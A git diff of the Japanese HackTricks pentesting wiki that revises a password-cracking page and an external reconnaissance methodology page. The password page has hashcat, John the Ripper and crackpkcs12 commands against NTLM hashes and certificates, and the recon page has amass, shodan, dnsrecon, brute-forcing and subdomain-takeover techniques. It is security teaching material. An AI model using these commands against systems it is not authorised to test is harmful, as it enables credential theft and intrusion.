+[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)を使用して、次にjohnを実行します ### Open Office Pwd Protected Column -パスワードで保護された列を持つxlsxファイルがある場合、それを解除できます: +xlsxファイルにパスワードで保護された列がある場合、それを解除できます: * **Googleドライブにアップロード**して、パスワードが自動的に削除されます -* **手動で**それを**削除**するには: +* **手動で**それを**削除**するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -717,7 +693,7 @@ zip -r file.xls . # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` - + \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -743,22 +719,22 @@ hash-identifier ### **ワードリスト生成ツール** -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ。 +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、およびルートを持つ高度なキーボードウォークジェネレータ ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### Johnの変異 -_**/etc/john/john.conf**_を読み、それを設定します。 +_**/etc/john/john.conf**_を読み、それを設定します ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat -#### Hashcat attacks +#### Hashcat攻撃 -* **Wordlist attack** (`-a 0`) with rules +* **ワードリスト攻撃** (`-a 0`) with rules **Hashcat**はすでに**ルールを含むフォルダ**が付属していますが、[**こちらで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` @@ -766,8 +742,8 @@ hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **ワードリスト組み合わせ**攻撃 -hashcatを使用して、2つのワードリストを1つに組み合わせることが可能です。\ -リスト1に単語**"hello"**が含まれ、2つ目には単語**"world"**と**"earth"**が含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 +hashcatを使用して、**2つのワードリストを1つに組み合わせる**ことが可能です。\ +リスト1に単語**"hello"**が含まれ、2番目には単語**"world"**と**"earth"**が含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -818,79 +794,59 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` -#### Hashcatモード +#### Hashcat モード ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` ## Brute Forcing -Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the target hash. These generated hashes are then compared with the target hash to find a match. +Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of letters, numbers, and symbols until the correct one is found. When it comes to cracking Linux hashes stored in the `/etc/shadow` file, brute forcing can be a powerful method to recover passwords. -### Tools and Resources +## ブルートフォース -There are various tools and resources available for brute forcing passwords, such as: - -- **John the Ripper**: A popular password cracking tool that can perform brute force attacks among other techniques. -- **Hashcat**: Another powerful tool for password cracking that supports various algorithms and attack modes. -- **Crunch**: A tool for generating custom wordlists which can be used in brute force attacks. -- **Rockyou.txt**: A common wordlist used in password cracking due to its extensive coverage of common passwords. - -### Best Practices - -When performing brute force attacks on Linux hashes, it is important to consider the following best practices: - -- **Use a strong wordlist**: Utilize wordlists that cover a wide range of possible passwords to increase the chances of success. -- **Optimize attack parameters**: Adjust the attack mode, rules, and other parameters based on the characteristics of the target hash. -- **Monitor system resources**: Brute forcing can be resource-intensive, so monitor CPU and memory usage to avoid crashes or slowdowns. -- **Stay updated**: Keep abreast of new techniques and tools to enhance your password cracking capabilities. +ブルートフォースは、すべての可能な文字、数字、および記号の組み合わせを系統的に試みることによってパスワードを解読するために使用される一般的な技術です。`/etc/shadow`ファイルに保存されているLinuxハッシュを解読する場合、ブルートフォースはパスワードを回復するための強力な手法となり得ます。 ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -## Brute-Force +## Brute Force -Brute-force attacks are a common way to crack passwords. They consist of systematically checking all possible combinations until the correct one is found. Brute-force attacks can be time-consuming but are often effective. +Brute force attacks are a common way to crack passwords. They consist of systematically checking all possible passwords until the correct one is found. This method is time-consuming but effective, especially for weak passwords. ### Tools -There are several tools available for conducting brute-force attacks, such as: +There are several tools available for performing brute force attacks, such as **John the Ripper**, **Hashcat**, and **Hydra**. These tools can be customized to adapt to different scenarios and types of passwords. -- **John the Ripper**: A popular password-cracking tool that can perform brute-force attacks. -- **Hashcat**: Another powerful tool for cracking passwords using brute-force techniques. -- **Hydra**: A versatile password-cracking tool that supports multiple protocols for brute-forcing. +### Techniques -### Methodologies - -When conducting a brute-force attack, it is essential to consider the following methodologies: - -1. **Wordlist**: Using a wordlist can significantly reduce the time required to crack a password by trying known words and combinations first. -2. **Mask Attack**: This method involves creating a mask that represents the password's possible characters and lengths, making the attack more targeted. -3. **Hybrid Attack**: Combining dictionary words with brute-force techniques can increase the chances of cracking complex passwords. - -### Resources - -- **SecLists**: A collection of wordlists for use in brute-force attacks. -- **CrackStation**: An online database of cracked passwords that can be used for password recovery and analysis. -- **Hashes.org**: A community-driven password-cracking site that provides various tools and resources for hash cracking. +Brute force attacks can be optimized by using techniques such as **dictionary attacks**, **mask attacks**, and **hybrid attacks**. These techniques help reduce the time and resources required to crack a password. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` ## Brute Force -Brute force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective against weak passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat. +### Introduction -### Using John the Ripper +Brute force attacks are a common technique used by hackers to crack passwords and hashes. By systematically checking all possible combinations of characters, hackers can eventually find the correct password or hash value. -John the Ripper is a popular password cracking tool that can be used to perform brute force attacks on hashes. It supports various hash types and algorithms, making it a versatile tool for cracking common application hashes. To use John the Ripper, you need to provide it with the hash you want to crack and specify the attack mode (e.g., brute force). +### Methodology -### Using Hashcat +1. **Password Cracking**: Hackers use automated tools to generate and test a large number of passwords until the correct one is found. -Hashcat is another powerful password cracking tool that supports various hash algorithms and attack modes. It can be used to crack common application hashes using brute force or other techniques like dictionary attacks or mask attacks. Hashcat is known for its speed and efficiency in cracking passwords. +2. **Hash Cracking**: Similarly, hackers can use brute force techniques to crack hashed values by generating all possible plaintext inputs and comparing the resulting hashes. -By using tools like John the Ripper and Hashcat, hackers can efficiently crack common application hashes using brute force attacks. It is important for users to use strong and unique passwords to protect against brute force attacks. +3. **Tools**: Various tools such as Hashcat, John the Ripper, and Hydra can be used to perform brute force attacks efficiently. + +4. **Wordlists**: Hackers often use wordlists containing commonly used passwords and phrases to speed up the brute force process. + +### Resources + +- [Hashcat](https://hashcat.net/) +- [John the Ripper](https://www.openwall.com/john/) +- [Hydra](https://github.com/vanhauser-thc/thc-hydra) ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -907,14 +863,14 @@ By using tools like John the Ripper and Hashcat, hackers can efficiently crack c HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください** +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出してください - + \ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 8bd3af3ee..daaf8ad7f 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -9,42 +9,42 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - + -**ハッキングキャリア**に興味がある方や、**解読不能なものをハッキング**したい方 - **採用中**!(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} ## 資産の発見 -> ある企業に属するすべてのものが対象であると言われ、この企業が実際に所有しているものを特定したいと思っています。 +> ある企業に属するすべてのものが対象に含まれていると言われ、この企業が実際に何を所有しているかを把握したいと思っています。 このフェーズの目標は、まず**主要企業が所有する企業**をすべて取得し、その後これらの企業の**資産**をすべて取得することです。これを行うために、以下の手順を実行します: -1. 主要企業の買収を見つけることで、対象となる企業を取得します。 +1. 主要企業の買収を見つけることで、対象に含まれる企業を取得します。 2. 各企業のASN(存在する場合)を見つけることで、各企業が所有するIP範囲を取得します。 3. リバースWhois検索を使用して、最初のエントリ(組織名、ドメインなど)に関連する他のエントリを検索します(これは再帰的に行うことができます)。 -4. `org`および`ssl`フィルターを使用したShodanなどの他のテクニックを使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 +4. 他の手法(shodan `org`および`ssl`フィルターなど)を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。 ### **買収** -まず最初に、**主要企業が所有する他の企業**を知る必要があります。\ -1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を**検索**し、「**acquisitions**」を**クリック**することです。そこで、主要企業によって取得された他の企業が表示されます。\ -もう1つのオプションは、主要企業の**Wikipedia**ページを訪れ、**買収**を検索することです。 +まず第一に、**主要企業が所有する他の企業**を知る必要があります。\ +[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要企業**を検索し、「**acquisitions**」をクリックするなどの方法があります。そこで、主要企業によって取得された他の企業が表示されます。\ +他のオプションとしては、主要企業の**Wikipedia**ページを訪れ、**買収**を検索する方法があります。 -> この時点で、対象となるすべての企業を把握しているはずです。それらの資産を見つける方法を考えてみましょう。 +> この時点で、対象に含まれるすべての企業を把握するはずです。それでは、彼らの資産を見つける方法を考えてみましょう。 ### **ASNs** 自律システム番号(**ASN**)は、**インターネット割り当て番号機関(IANA)**によって**自律システム(AS)**に割り当てられた**一意の番号**です。\ **AS**は、外部ネットワークへのアクセスに対する明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレータで構成されている場合があります。 -企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。これにより、**IP範囲**を見つけることができます。**スコープ**内のすべての**ホスト**に対して**脆弱性テスト**を実行し、これらのIP内の**ドメイン**を検索することが重要です。\ +企業がどのような**ASNを割り当てているか**を見つけることは興味深いです。その企業の**IP範囲**を見つけるために**脆弱性テスト**を実行し、**対象**内のすべての**ホスト**に対して実行し、これらのIP内の**ドメイン**を検索します。\ [**https://bgp.he.net/**](https://bgp.he.net)で企業の**名前**、**IP**、または**ドメイン**で検索できます。\ **企業の地域に応じて、これらのリンクはより多くのデータを収集するのに役立つ可能性があります:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)**、[**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)**、[**APNIC**](https://www.apnic.net) **(アジア)**、[**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)**、[**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)**。とにかく、おそらくすべての**有用な情報(IP範囲とWhois)**は最初のリンクに既に表示されています。 ```bash @@ -52,7 +52,7 @@ HackTricksをサポートする他の方法: amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)のサブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。 +また、[**BBOT**](https://github.com/blacklanternsecurity/bbot)**の**サブドメイン列挙は、スキャンの最後にASNを自動的に集約および要約します。 ```bash bbot -t tesla.com -f subdomain-enum ... @@ -74,13 +74,13 @@ bbot -t tesla.com -f subdomain-enum ### **脆弱性を探す** -この時点で、**スコープ内のすべてのアセットがわかっている**ので、許可されている場合はすべてのホストに対して **脆弱性スキャナ**(Nessus、OpenVAS)を実行することができます。\ -また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけたものに応じて、この本で実行する可能性のあるいくつかのサービスのペンテスト方法を確認することができます。\ -**また、デフォルトのユーザー名**と**パスワードのリストを用意して**、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。 +この時点で、**スコープ内のすべての資産**を把握しているので、許可されている場合はすべてのホストに対して **脆弱性スキャナー**(Nessus、OpenVAS)を実行することができます。\ +また、[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行したり、shodan のようなサービスを使用して **開いているポートを見つけ**、見つけた内容に応じてこの本を参照して実行されているさまざまなサービスをペンテストする方法を確認することができます。\ +**また、デフォルトのユーザー名**と**パスワード**のリストを用意して、[https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) を使用してサービスを**ブルートフォース**することもできます。 ## ドメイン -> スコープ内のすべての企業とそのアセットがわかっているので、スコープ内のドメインを見つける時が来ました。 +> スコープ内のすべての企業とその資産を把握しているので、スコープ内のドメインを見つける時が来ました。 _以下の提案された技術を使用すると、サブドメインも見つけることができ、その情報は過小評価されるべきではありません。_ @@ -88,7 +88,7 @@ _以下の提案された技術を使用すると、サブドメインも見つ ### **逆引きDNS** -ドメインのIP範囲をすべて見つけたので、これらの **IPに逆引きDNSルックアップ** を試みて、スコープ内の他のドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 +ドメインのIP範囲をすべて見つけたので、これらの **IPに逆引きDNSルックアップ**を試みて、スコープ内の他のドメインを見つけることができます。被害者のDNSサーバーまたは一般的に知られているDNSサーバー(1.1.1.1、8.8.8.8)を使用してみてください。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -97,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` ### **リバースWhois(ループ)** -**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、これらのフィールドのいずれかで**リバースWhois検索を実行すると、会社に関連するさらなる資産を見つける**ことができることです(たとえば、同じメールが登場する他のwhoisレジストリ)。\ +**whois**の中には、**組織名**、**住所**、**メールアドレス**、電話番号など、多くの興味深い**情報**が含まれています。しかし、さらに興味深いのは、それらのフィールドのいずれかで**リバースWhois検索を実行すると**(たとえば、同じメールアドレスが登場する他のwhoisレジストリ)、**会社に関連するさらなる資産**を見つけることができることです。\ 以下のようなオンラインツールを使用できます: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料** @@ -109,7 +109,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns * [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではない [**DomLink** ](https://github.com/vysecurity/DomLink)を使用してこのタスクを自動化できます(whoxy APIキーが必要です)。\ -また、[amass](https://github.com/OWASP/Amass)を使用して一部の自動リバースWhois検出を実行できます: `amass intel -d tesla.com -whois` +また、[amass](https://github.com/OWASP/Amass)を使用して自動的なリバースWhoisの発見を行うこともできます: `amass intel -d tesla.com -whois` **新しいドメインを見つけるたびに、このテクニックを使用してさらに多くのドメイン名を発見できることに注意してください。** @@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **Favicon** -ターゲットに関連するドメインやサブドメインを見つけることができることを知っていましたか?同じfaviconアイコンハッシュを探すことで。これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールがまさにそれを行います。以下は、その使用方法です: +私たちのターゲットに関連するドメインやサブドメインを、同じファビコンアイコンハッシュを探して見つけることができることを知っていましたか?これが、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s @@ -137,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s 単純に言えば、favihashを使用すると、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見できます。 -さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーのバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 +さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーの脆弱なバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。 ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -156,7 +156,7 @@ return fhash ``` ### **著作権 / ユニークな文字列** -同じ組織内の異なるウェブ間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"` +同じ組織内の異なるウェブ間で共有される可能性のある文字列を検索します。**著作権文字列**は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"` ### **CRT 時間** @@ -169,11 +169,11 @@ return fhash [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) のようなウェブサイトや[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) のようなツールを使用して、**同じdmarc情報を共有するドメインとサブドメイン**を見つけることができます。 -### **パッシブテイクオーバー** +### **パッシブな乗っ取り** -クラウドプロバイダに属するIPにサブドメインを割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除し忘れることが一般的です。そのため、クラウド(例:Digital Ocean)でVMを起動するだけで、実際にはいくつかのサブドメインを**引き継ぐ**ことができます。 +一般的に、人々はサブドメインをクラウドプロバイダーに属するIPに割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることがよくあります。そのため、クラウド(例:Digital Ocean)でVMを起動するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。 -[**この記事**](https://kmsec.uk/blog/passive-takeover/)では、これについての説明があり、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、それを指すサブドメインレコードをVirustotalで検索するスクリプトが提案されています。 +[**この記事**](https://kmsec.uk/blog/passive-takeover/)では、そのことについての説明があり、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、Virustotalでそれを指すサブドメインレコードを検索するスクリプトが提案されています。 ### **その他の方法** @@ -183,21 +183,21 @@ return fhash すでにIPスペースを所有している組織の名前を知っている場合、`org:"Tesla, Inc."`を使用してShodanでそのデータを検索できます。TLS証明書で新しい予期しないドメインを見つけてください。 -メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を**shodan**で知られているすべてのウェブページの**TLS証明書**内で検索します。フィルター:`ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 +メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得してから、**Shodan**で知られているすべてのウェブページの**TLS証明書**の中からその名前を検索します。フィルターを使用して`ssl:"Tesla Motors"`または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。 **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とその**サブドメイン**を探すツールで、非常に素晴らしいです。 +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、メインドメインに関連する**ドメイン**とそれらの**サブドメイン**を探すツールで、非常に素晴らしいです。 -### **脆弱性の検索** +### **脆弱性を探す** -[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。 +[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。 -アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**Nessus**または**OpenVAS**を使用して**基本的な脆弱性スキャン**を実行し、**nmap/masscan/shodan**でいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\ +アセットの発見で見つけたIPとは異なる**IPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\ _クライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある場合がありますので、注意してください。_ \ -**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムのバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得し始めましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -219,7 +219,7 @@ dnsrecon -a -d tesla.com ``` ### **OSINT** -大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使用される**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください): +大量のサブドメインを取得する最速の方法は、外部ソースで検索することです。最もよく使われる**ツール**は以下のものです(より良い結果を得るためには、APIキーを設定してください): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) ```bash @@ -268,7 +268,7 @@ vita -d tesla.com ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` -次のような、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります: +以下は、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ可能性がある**他の興味深いツール/API**があります: * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用 ```bash @@ -300,7 +300,7 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、Common Crawlに既知のURLを取得します。 +* [**gau**](https://github.com/lc/gau)**:** 特定のドメインからAlienVaultのOpen Threat Exchange、Wayback Machine、Common Crawlに知られているURLを取得します。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u @@ -330,16 +330,16 @@ python3 censys-subdomain-finder.py tesla.com ```bash python3 DomainTrail.py -d example.com ``` -* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIP履歴を検索するための無料APIを提供しています +* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIPの履歴を検索するための無料APIを提供しています * [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスしたりすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) これらのツールの**比較**をこちらで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) ### **DNSブルートフォース** -可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけてみましょう。 +可能なサブドメイン名を使用してDNSサーバーをブルートフォースして新しい**サブドメイン**を見つけてみましょう。 このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です: @@ -349,7 +349,7 @@ python3 DomainTrail.py -d example.com * [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングします。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。 +さらに、信頼できるDNSリゾルバのIPも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 